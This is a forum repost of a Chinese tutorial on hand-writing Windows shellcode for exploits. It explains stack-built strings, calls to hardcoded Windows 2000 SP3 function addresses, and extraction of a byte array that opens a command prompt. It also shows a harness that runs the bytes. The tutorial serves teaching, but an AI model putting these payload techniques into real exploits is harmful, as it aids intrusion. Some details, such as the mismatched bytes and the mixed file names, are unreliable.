标题:
打造Windows下自己的ShellCode
[打印本页]
作者:
默数悲伤
时间:
2005-10-14 21:09
标题:
打造Windows下自己的ShellCode
类型:合作 作者: 日期:2005-04-27 17:51:53 -------------------------------------------------------------------------------- 适合读者:漏洞分析员、黑迷 前置知识:汇编阅读能力,漏洞调试基本步骤,VC使用方法 WTF:这几次的菜鸟版EXP系列文章都是重点讲解溢出编程的原理和思路,包括漏洞的定位,利用构造以及遇到限制时ShellCode的编码技巧等,但对ShellCode本身的编写,特别是Windows环境下ShellCode的初步编写,却很少提及。在文章中都是说发扬“拿来主义”,看准外面现成的ShellCode,直接拿来用,对不合规范的地方稍微改改就成——其实我们是有策略的,试想一来就一大堆汇编,初学者不晕就懵,不被吓跑才怪,所以前期重点放在激发大家的兴趣上。但作为一个菜鸟,在兴趣激起来后,毕竟要进入到ShellCode的编写中。一是因为Exploit很大的乐趣就在于ShellCode的编写,二是明白了ShellCode的编写,才能更好的使用和改进外面的代码。那,我们开始…… 打造Windows下自己的ShellCode 文/图 王炜/ww0830 为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙! ShellCode简介和编写步骤 从以前的文章和别人的攻击代码中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。 在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。 当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是, 1.构想ShellCode的功能; 2.用C语言验证实现; 3.根据C语言实现,改成带有ShellCode特点的汇编; 4.最后得到机器码形式的ShellCode。 其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。 首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。 C语言代码 比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释: #include
#include
typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary(“msvcrt.dll”); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址 (ProcAdd) ("command.com"); //其实就是执行System(“command.com”) return 0; } 其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。 图1 获得函数的地址 程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢? 在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示 图2 继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。 图3 WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。 为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。 Windows下函数的调用原理 为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push EIP + Jmp Fun。其过程如下图4所示。 图4 同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。 图5 构造有ShellCode特点的汇编 明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造! 我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。 图6 参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。 把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。 mov esp,ebp ; push ebp ; mov ebp,esp ; 把当前esp赋给ebp xor edi,edi ; push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。 sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; c mov byte ptr [ebp-0bh],6fh ; o mov byte ptr [ebp-0ah],6dh ; m mov byte ptr [ebp-09h],6Dh ; m mov byte ptr [ebp-08h],61h ; a mov byte ptr [ebp-07h],6eh ; n mov byte ptr [ebp-06h],64h ; d mov byte ptr [ebp-05h],2Eh ; . mov byte ptr [ebp-04h],63h ; c mov byte ptr [ebp-03h],6fh ; o mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com". lea eax,[ebp-0ch] ; push eax ; command.com串地址作为参数入栈 mov eax, 0x7801AFC3 ; call eax ; call System函数的地址 明白了原理再看实现,是不是清楚了很多呢? 提取ShellCode 首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。 图7 同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。 图8 有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。 unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3 "\xFF\xD0"; 验证ShellCode 最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下: unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3 "\xFF\xD0"; int main() { ( (void(*)(void)) &shellcode )() return 0; } ( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成! 小结 这个ShellCode的功能还比较单薄,而且通用性也待进一步研究,但的确是一个由我们亲自打造出来的ShellCode,而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法,以后就可以在广阔的空间中自由翱翔!
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2